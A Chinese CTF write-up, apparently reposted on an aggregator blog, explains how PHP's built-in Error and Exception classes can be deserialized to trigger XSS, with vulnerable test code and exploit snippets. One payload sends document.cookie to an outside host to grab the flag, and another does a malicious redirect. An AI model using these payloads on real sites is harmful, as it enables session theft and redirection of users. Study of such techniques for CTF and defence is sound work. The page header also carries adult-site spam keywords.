日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

PHP原生类反序列化

發(fā)布時間:2024/9/30 php 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PHP原生类反序列化 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言:

PHP原生類反序列化之前沒遇到過,這次BJDCTF恰好碰到了,通過具體的題目來學習一下

利用魔法方法 __toString

Error----適用于php7版本----XSS

Error類就是php的一個內(nèi)置類用于自動自定義一個Error,在php7的環(huán)境下可能會造成一個xss漏洞,因為它內(nèi)置有一個toString的方法。

測試代碼

<?php $a = unserialize($_GET['lemon']); echo $a;

EXP

<?php $a = new Error("<script>alert(1)</script>"); echo urlencode(serialize($a)); #注意版本是PHP7

Exception----適用于php5、7版本----XSS

測試代碼(這里直接使用賽題的環(huán)境)

<?php $a = unserialize($_GET['lemon']); echo $a;

EXP

<?php $a = new Exception("<script>alert(/lemon/)</script>"); echo urlencode(serialize($a));


這里也記錄下一些XSS的知識

#實現(xiàn)惡意跳轉(zhuǎn) <script>window.location.href="http://www.baidu.com";</script>

xss之光


開始用目錄掃描器掃一下,發(fā)現(xiàn)是git泄露,下載下來,發(fā)現(xiàn)index.php文件

隨便序列化一個傳入試試,能輸出

而且這和之前遇到過的反序列化問題就很不一樣了,沒有一個類,所以只能找到php內(nèi)置類來進行反序列化,抓包發(fā)現(xiàn)版本是PHP5,使用PHP5內(nèi)置Exception類進行反序列化

<?php $a = new Exception("<script>window.location.href='http://8ff615f3-da70-4d1a-959f-f29d817ecd90.node3.buuoj.cn'+document.cookie</script>"); echo urlencode(serialize($a));


flag就在COOKIE中

總結(jié):

當遇到反序列化問題的時,代碼中一個類都沒有,便對原生類進行反序列化。

未完待續(xù),待之后發(fā)現(xiàn)有新的再來補充。。。

參考博客

https://www.gem-love.com/ctf/2097.html#XSS

http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

總結(jié)

以上是生活随笔為你收集整理的PHP原生类反序列化的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。